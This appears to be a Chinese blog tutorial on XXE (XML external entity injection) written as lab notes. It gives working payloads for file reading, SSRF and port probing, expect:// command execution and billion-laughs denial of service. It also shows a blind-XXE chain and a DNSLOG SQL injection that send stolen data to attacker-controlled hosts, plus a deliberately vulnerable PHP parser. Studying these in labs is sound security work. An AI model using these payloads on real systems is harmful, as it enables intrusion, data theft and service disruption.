XEE漏洞学习(史上最详细 包括Linux配置漏洞环境)

已于 2023-10-23 16:36:09 修改
阅读量790 收藏 7
点赞数 4
文章标签： 学习 安全 网络 web安全
于 2023-10-13 09:33:04 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_34598847/article/details/133803306
版权

XXE

基础概念

1、xml基础概念

XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞，XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件和代码，造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

XXE漏洞触发的点往往是可以上传xml文件的位置，没有对上传的xml文件进行过滤，导致可上传恶意xml文件。

XML被设计为传输和存储数据，XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素，其焦点是数据的内容，其把数据从HTML分离，是独立于软件和硬件的信息传输工具。XXE漏洞全称XMLExternal Entity Injection，即xml外部实体注入漏洞，XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

2、XML与HTML的主要差异

XML被设计为传输和存储数据，其焦点是数据的内容。

HTML被设计用来显示数据，其焦点是数据的外观。

HTML旨在显示信息，而XML旨在传输信息。

3、xml示例
<!--文档类型定义-->
<!DOCTYPE note [	<!--定义此文档时note类型的文档-->
<!ELEMENT note (to,from,heading,body)>	<!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>			<!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)>		<!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)>		<!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)>		<!--定义body元素为"#PCDATA"类型-->
]]]>

<!--文档元素-->
<note>
    <to>Dave</to>
    <from>Tom</from>
    <head>Reminder</head>
    <body>You are a good man</body>
</note>

XML介绍

1. 文档声明

在编写XML文档时，需要先使用文档声明来声明XML文档。且必须出现在文档的第一行，写在整个xml文档的第一行第一列。

  <?xml version="1.0" encoding="GB2312”standalone="yes”?>

最基本的语法应包括版本的声明<?xml version="1.0"?>,其后的两个属性分别代表文档使用的字符编码，和文档是否依附于其他文档的存在。


2. 元素
XML元素指XML文件中出现的标签。一个标签分为起始和结束标签(不能省略)。一个标签有如下几种书写形式：
（1） 包含标签主体：<mytag>some content</mytag>
（2）不含标签主体：<mytag/>
（3）一个标签中可以嵌套若干子标签，但所有标签必须合理的嵌套，不允许有交叉嵌套。下面的写法是错误的。 		<mytag1><mytag2></mytag1></mytag2>
（4）一个XML文档必须有且仅有一个根标签，其他标签都是这个根标签的子标签或孙标签。
（5）对于XML标签中出现的所有空格和换行，XML解析程序都会当作标签内容进行处理。例如：下面两段内容的意义是不一样的。
<网址>XML文档的基本结构</网址>
<网址> XML文档的基本结构 </网址>

（6）命名规范：
–区分大小写，例如，<P>和<p>是两个不同的标记。
–不能以数字开头。
–不能包含空格。
–名称中间不能包含冒号（:）。

3. 属性。
（1）一个元素可以有多个属性，每个属性都有它自己的名称和取值，
	例 如：<mytag name=“value” …/>
（2）属性值一定要用引号(单引号或双引号)引起来。
（3）属性名称的命名规范与元素的命名规范相同
（4）元素中的属性是不允许重复的
（5）在XML技术中，标签属性所代表的信息也可以被改成用子元素的形式来描述.

e.g.
<?xml version="1.0" encoding="UTF-8"?> <!--XML 声明-->
<girl age="18">　　<!--自定的根元素girl;age属性需要加引号-->
<id>35<id>
<hair>长头发</hair>　　<!--自定义的4个子元素，即girl对象的属性-->
<eye>大眼睛</eye>
<face>可爱的脸庞</face>
<summary>可爱美丽的女孩</summary>
</girl>　　<!--根元素的闭合-->

4. 注释
	XML中的注释语法为：<!--这是注释-->
	注意：XML声明之前不能有注释；注释不能嵌套。

5. CDATA区
CDATA是Character Data的缩写
作用：把标签当做普通文本内容，不用使用转义字符。
语法：<![CDATA[内容]]>
<![CDATA[
    <电子科技大学>修行小和尚</电子科技大学>
]]>
其中，<电子科技大学>修行小和尚</电子科技大学>会被当做文本，不是标签。

6.处理指令
处理指令，简称PI(Processing Instruction)。
作用：用来指挥软件如何解析XML文档。
语法：必须以“<?”作为开头，以“?>”作为结尾。
常用处理指令：
XML文件声明：<?xml version=“1.0” encoding=“GB2312”?>

上述XML代码基本分为三个部分：

	第一部分是XML的声明；

	第二部分是XML的DTD文档类型定义；

	第三部分是XML语句。

	而外部实体攻击主要利用DTD的外部实体来进行注入的。
	DTD有两种构建方式：内部DTD声明和外部DTD声明

在这里插入图片描述
请添加图片描述
请添加图片描述
请添加图片描述

一些特殊情况

在这里插入图片描述
在这里插入图片描述

默认协议

在这里插入图片描述

扩展协议

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

攻击思路

1. 引用外部实体文件读取,端口探测，SSRF攻击

2. Blind XXE

3. Dos

4.执行系统命令

PHP

simplexml_load_string()函数

函数解释

https://www.runoob.com/php/func-simplexml-load-string.html

在这里插入图片描述

案例一(pikachu靶场)

主要利用XML标签

payload

<?xml version="1.0"?> 
<!DOCTYPE abc [  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=d:/phpStudy/WWW/1.php" > ]> //xxe为实体名
<abc>&xxe;</abc>  //$xxe实体

在这里插入图片描述

各种不同的payload
输入的内容:利用file协议获取文件内容
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY hack SYSTEM "file:///d:/password.txt">
]>
<note>&hack;</note>


输入的内容:利用php://filter协议获取包含有特殊字符的文件内容（如：<>之类的字符）
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY hack SYSTEM "php://filter/read=convert.base64-encode/resource=d:/password.txt">
]>
<note>&hack;</note>


输入的内容:利用http协议获取文件内容
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY hack SYSTEM "http://127.0.0.1/11.txt">
]>
<note>&hack;</note>

案例二

后端代码

在这里插入图片描述

内网端口检测

在这里插入图片描述

案例三

SSRF攻击
测试代码: 改变端口号进行探测 
进行抓包,在请求主体中加上这些
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "http://(dnslog地址)或(内网地址)">
]>

<note>&xxe;</note>
用dnslog地址可以知道他的服务器IP,因为谁解析谁执行

在这里插入图片描述

案例四

以后需要bool盲注的时候可以试试这个

DNSLOG外带注入(sqli第八关)

my.ini中secure_file_priv=后面为空,为了让load_file into dumpfile into_outfile 都是可以对任意一个文件地址进行读取和写入

后面需要一个向abc这样的目录哪怕没有都可以

payload

http://127.0.0.1/sqlilabs/Less-8/?id=1' union select load_file(concat('//',HEX(USER()),'.iqsvpr.dnslog.cn/zzp')),1,2 --+
				使数据和并,'//'必须为开头,中间为想查询的东西,'第三个是域名加某一个目录前面需要带一个.来进行连接'	这是一个基本格式

在你提供的 SQL 语句中，存在一些问题和错误，以下是对每部分的解释：

  1. LOAD_FILE(CONCAT('//',HEX(USER()), '.tlhlfc.dnslog.cn/abc'))：这部分查询试图使用 MySQL 中的 LOAD_FILE 函数来读取一个文件的内容。具体来说，它构建了一个文件路径，该路径以 '//' 开头，然后是当前用户的用户名（通过 HEX(USER()) 函数获取），最后以 .tlhlfc.dnslog.cn/abc 结尾。这个构建的路径实际上是一个 URL 形式的路径。然后，LOAD_FILE 函数会尝试读取这个 URL 对应的文件内容。

需要注意的是，使用 LOAD_FILE 函数来读取文件内容是一个潜在的安全问题，因为它可能被滥用来读取敏感文件或进行注入攻击。因此，在实际应用中，应该非常小心使用 LOAD_FILE 函数，并确保严格控制允许访问的文件路径。此外，SQL 查询语句中的语法也需要进行调整，以符合标准的 SQL 查询语法。

之后他会带着user经过HEX编码的数据返回到DNSlog.cn

在这里插入图片描述

得到结果

在这里插入图片描述

Blind XXE

在这里插入图片描述

思路：

1. 客户端发送payload 1给web服务器

2. web服务器向攻击者服务器获取恶意DTD,并执行文件读取payload2

3. 攻击者服务器返回payload2给web服务器

4.web服务器执行payload2后带着回显结果访问攻击者服务器上特定的FTP或者HTTP

5. 攻击者访问自己的服务器获取结果

在这里插入图片描述

上传到受害者服务器的payload1

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE root [<!ENTITY % remote SYSTEM
 "http://192.168.3.7:8000/test.xml"> %remote;]> 
<root><xxx>&trick;</xxx></root>

上传到自己服务器的payload2

<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=d:/password.txt"> 
<!ENTITY % int "<!ENTITY trick SYSTEM 'http://192.168.3.7/jilu.php?v=%payload;'>"> 
%int;

服务器中读取文件的代码

<?php
$link=new PDO("mysql:host=127.0.0.1;dbname=blind xxe",'root','root');
date_default_timezone_set('PRC');
$sql='insert into test (flag) values (:flag)';
$pre = $link->prepare($sql);
$pre->execute([':flag'=>$_GET['v']]);
if ($pre->rowCount()){
    echo '成功添加数据';
}else{
    echo '添加数据失败';
}
?>

步骤如下

这个是先将SYSTEM的php协议读取到的内容赋值给参数实体%payload，
第二步是一个实体嵌套，trick是远程访问http协议所携带的内容

简单来说先将payload1输入到受害者的服务器
自己的服务器需要有一个接受数据的代码
payload1将会请求到咱们的服务器去找payload2,payload2里面填写咱们需要的文件

DDOS攻击

在这里插入图片描述

这个的原理就是递归引用,lol 实体具体还有 “lol” 字符串，然后一个 lol2 实体引用了 10 次 lol 实体，一个 lol3 实体引用了 10 次 lol2 实体，此时一个 lol3 实体就含有 10^2 个 “lol” 了，以此类推，lol10 实体含有 10^9 个 “lol” 字符串,最后再引用lol10。此时服务器加载的字符太多,可能导致崩溃.

在centos7安装php

php环境下，xml命令执行需要php装有expect扩展，但是该扩展默认没有安装，所以一般来说，比较难利用。

环境安装：CentOS7
yum  install  expect				#安装操作系统expect

yum  install  php-devel			#安装 PHP 开发所需文件的软件包

yum  install  tcl				#安装tcl

yum  install  tcl  tcl-devel			#安装 tcl 软件包以及相应的开发文件

yum  install  expect expect-devel		#安装 expect 软件包以及相应的开发文

上传php-expect扩展包，下载地址：https://github.com/spektom/php-expect

unzip   php-expect-master.zip			#解压缩文件

cd  php-expect-master			#进入目录

#执行以下代码进行编译安装
phpize
./configure
make
make install

#修改php配置文件，添加以下内容
到etc目录下修改php.ini
extension=expect.so

#重启服务器
systemctl  restart httpd

安装完成在var/www/html下建一个含有
<?php phpinfo() ?>
<meta charset="utf-8">
的文件,去浏览访问看是否可以查看成功,若可以则安装完成

实验

这个实验需要在后端写如下代码,来帮助我们进行xxe注入

<?php
header("content-type:text/html;charset=utf-8");
date_default_timezone_set("PRC");
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data,'SimpleXMLElement',LIBXML_NOENT);
echo date('Y-m-d H:i:s',time())."\n\r";
echo $xml;
?>

使用bp进行抓包
在请求体中
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "expect://id">
]>
<note>&xxe;</note>
使用该xml标签来获取用户id

在这里插入图片描述

该实验还可以和之前的搭配

来读取权限范围内的事情,但是由于我们是apache用户,为系统为服务创建的用户所以权限很小

例如

读取用户信息,但是没有权限读取用户密码,也没有权限进行创建文件

在这里插入图片描述

XXE靶场

任意文件读取

在注册页面填好信息进行抓包,发现请求体中有xml标签,直接确认显示位,使用payload进行注入

在这里插入图片描述

SSRF攻击利用

网址记得加上http://

在这里插入图片描述

使用dnslog来获取服务器IP

在这里插入图片描述

payload

-----------------------任意文件读取-----------------------------
<?xml version="1.0"?> 
<!DOCTYPE abc [  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource= 目标文件的绝对路径" > ]> 
<abc>&xxe;</abc>

<?xml version="1.0"?> 
<!DOCTYPE abc [  <!ENTITY xxe SYSTEM "file:///目标文件的绝对路径" > ]> 
<abc>&xxe;</abc>

------------------------命令执行--------------------------------
<?xml version="1.0"?>
<!DOCTYPE abc [  <!ENTITY xxe SYSTEM "expect://系统命令" > ]> 
<abc>&xxe;</abc>

------------------------探测端口--------------------------------
<?xml version="1.0"?> 
<!DOCTYPE abc [  <!ENTITY xxe SYSTEM "http://127.0.0.1:80" > ]> 
<abc>&xxe;</abc>

-------------------------DDOS----------------------------------
<?xml version="1.0"?> 
<!DOCTYPE abc [
  <!ENTITY lol "lol">
  <!ELEMENT lolz (#PCDATA)>
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]> 
<abc>&lol9;</abc>

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE root [<!ENTITY % remote SYSTEM
 "http://192.168.1.187/test.xml"> %remote;]> 
<root><xxx>&trick;</xxx></root>




<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=c:/phpstudy/PHPTutorial/WWW/a.php"> 
<!ENTITY % int "<!ENTITY trick SYSTEM 'http://192.168.1.187/jilu.php?v=%payload;'>"> 
%int;
qwetvg
关注
  • 4
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
XEE漏洞任意文件读取
m0_58001548的博客
04-30 1915
XXE全称是——XML External Entity,也就是XML外部实体注入攻击。通过 XML实体，"SYSTEM”关键词导致XML解析器可以从本地文件或者远程URI中读取数据。所以攻击者可以通过XML实体传递自己构造的恶意值，使处理程序解析它。当引用外部实体时，通过构造恶意内容，可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。XML指可扩展标记语言(Extensible Markup Language)XML是一种标记语言，很类似HTML。
【web安全原理分析】-XEE漏洞入门
Dasdwer的博客
04-04 644
XXE漏洞XXE漏洞全称(XML External Entity Injection)即xml外部实体注入漏洞，XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置，没有对上传的xml文件进行过滤，导致可上传恶意xml文件。XML基础XMLXML(EXtensible Markup Language，可扩展标记语言)用来结构化、存储以及传输信息。
实战项目 2 Linux-XXE 靶场渗透测试案例详解
最新发布
m0_50572593的博客
06-21 2019
​ XXE(xml external entity injection) 既"xml 外部实体注入漏洞"。概括一下就是"攻击者通过向服务器注入指定的 xml 实体内容，从而让服务器按照指定的配置进行执行，导致问题“也就是说服务端接收和解析了来自用户端的 xml 数据，而又没有做严格的安全控制，从而导致 xml 外部实体注入。造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起 dos 攻击等危害。
XEE漏洞详解（全面）
m0_64481831的博客
02-18 1235
XML是一种标记语言，用于描述数据的结构和内容。它可以用来表示各种类型的数据，例如文本、数字、图像等。XML设计的目的是为了使数据的交换和共享更加容易，同时也可以被用于数据的存储和传输。用途：异步系统之间进行数据传输的媒介（现在json代替了该功能）例如如果想要Java程序和Python程序之间进行数据传输，就可以使用xml作为存放数据的载体，以此传输。作为配置文件使用配置文件是用于给应用程序提供配置参数以及初始化设置的一些文件。xml文档声明，在文档的第一行，包括xml版本号和字符集声明。
XEE详解
m0_52051132的博客
12-15 1394
XML外部实体注入 XML External Entity Injection如果Web应用的脚本代码没有限制XML引入外部实体，从而导致用户可以插入一个外部实体，并且其中的内容会被服务器端执行，插入的代码可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害 #而http : //mark4z5.com/evil.dtd内容为
XEE漏洞基础以及进阶
W_seventeen的博客
02-28 1793
XML编程基础 XML 指可扩展标记语言（EXtensible Markup Language） XML 是一种标记语言，很类似 HTML XML 的设计宗旨是传输数据，而非显示数据 XML 标签没有被预定义。您需要自行定义标签。 XML 被设计为具有自我描述性。 XML 是 W3C 的推荐标准 ###XML标签根据自己主观定义，不像HTML是被预定义好的 <note> <to&...
mac xee 3.5.3 kantu
03-15
自己收藏，解压使用，mac下的看图软件，密码xclient.info
xxexploiter：帮助利用XXE漏洞的工具
02-06
XX资源管理器 它生成XML有效负载，并自动启动服务器以服务所需的DTD或进行数据渗透。 安装 #install node and npm if you don't have it yet npm install -g xxexploiter 从源代码构建和运行 ...
【最新版】Xee-45.zip【亲测可用】最好的macOS的图像查看器
05-06
Xee是一种简化且便捷的图像查看器和浏览器。它与macOS的Preview.app类似，但可让您轻松浏览文件夹和档案的全部内容，快速移动和复制图像文件，并支持更多图像格式。 无需解压缩，即可更快，更轻松地查看存档和文件夹...
6.XML漏洞和Excel文件1
08-04
XML漏洞和Excel文件之间的关联主要涉及的是数据处理和解析的安全性。XML（可扩展标记语言）是一种用于存储和传输结构化数据的通用格式，而Excel文件，尤其是.xlsx格式，是Microsoft Office中用于处理电子表格的数据...
Xee - Mac 图片查看器 破解版
07-02
Mac 图片查看软件，破解版
XML外部实体注入（XEE）的原理和应用
QQ934072160的专栏
11-12 2139
文章目录 XXE注入 一、XML简介 二、XML实体 三、CTF中XEE攻击 XXE注入 XXE注入全称是xml external entity 注入，也就是xml外部实体注入。XXE漏洞发生在应用程序解析输入的XML时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取，命令执行等攻击。 一、XML简介 XML是一种用户自定义的标记语言，主要用于数据的存储和传输。XML文档有自己的一个格式规范。是由DTD（document type define)来控制的。例如： <?xml vers
Linux内核漏洞环境搭建方法二
zhangji
07-28 678
Linux内核漏洞环境搭建方法二 检查本地内核版本号 假如即将调试的内核版本是 4.14.1，先检查一下本地内核的版本号，如下： zhangji16@zhangji16vm:~/c_study/kernel_prj$ uname -a Linux zhangji16vm 4.4.0-154-generic #181-Ubuntu SMP Tue Jun 25 05:29:03 UTC 2019 x...
Linux内核提权漏洞(Dirty-pipe)复现_linux提权漏洞
xnxqwzy的博客
10-08 411
CVE-2022-0847 是存在于 Linux内核 5.8 及之后版本中的本地提权漏洞。攻击者通过利用此漏洞，可覆盖重写任意可读文件中的数据，从而可将普通权限的用户提升到特权 root。CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞（Dirty Cow），但它更容易被利用。漏洞作者将此漏洞命名为“Dirty Pipe”。
Linux常见漏洞修复教程！
高性价比服务器就选：蓝易云
06-30 1049
请注意，漏洞修复的具体方法和措施取决于特定的漏洞和系统配置。建议您根据具体情况进行进一步研究和采取相应的安全措施。如果不确定如何修复特定漏洞，请参考相关厂商的安全公告和文档，或者咨询安全专家。修复Linux系统中的常见漏洞是确保系统安全性的重要步骤。
十、Kali Linux 2 编写漏洞渗透模块
m0_55313512的博客
02-20 756
Kali Linux 网络渗透测试
Kali Linux 基于FreeFloat FTP Server编写漏洞渗透模块 (上）
xujing19920814的博客
10-03 1412
Kali Linux 基于FreeFloat FTP Server编写漏洞渗透模块 (上）
103.网络安全渗透测试—[权限提升篇1]—[Linux内核漏洞提权]
qwsn
02-15 7202
我认为，无论是学习安全还是从事安全的人，多多少少都有些许的情怀和使命感！！！ 文章目录 一、LINUX 内核漏洞提权 1、漏洞背景： 2、漏洞利用： （1）实验环境 （2）靶机链接 （3）突破MIME类型限制文件上传获取webshell （4）创建交互式shell （5）查看linux发行版 （6）查找可用的提权exp （7）进行提权 （8）切换shell
linux内核漏洞（CVE-2022-0847）
墨鱼菜鸡
09-10 312
目录 1.打开kali，新建用户 2.将用户添加到sudoers文件夹中 3.编译a.c 4.找一个具有SUID权限的可执行文件，进行提权 5.执行poc提权 1.打开kali，新建用户 useradd test1 -p 123456 -d /home/test1 -s /bin/bash 2.将用户添加到sudoers文件夹中 ...
pikachu xee漏洞
07-28
鉴于提供的引用内容，可以得出以下结论： - 引用\[1\]提到了通过POST请求获取前端的XML数据，并使用simplexml_load_string()函数对数据进行解析。在这个过程中，如果开启了外部实体解析，就可能导致XXE漏洞的产生。 - 引用\[2\]提到了在输入特定的XML数据时，发现可以成功注入并利用XXE漏洞。 - 引用\[3\]提供了关于XML的基本介绍，包括XML的定义、XML文档实例的结构和元素的使用。 综上所述，pikachu xee漏洞是指在处理XML数据时存在的XXE漏洞。通过构造恶意的XML数据，攻击者可以利用这个漏洞来执行任意代码或读取敏感信息。 #### 引用[.reference_title] - *1* *2* *3* [Pikachu之XXE（xml外部实体注入漏洞）](https://blog.csdn.net/weixin_46145025/article/details/117297147)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值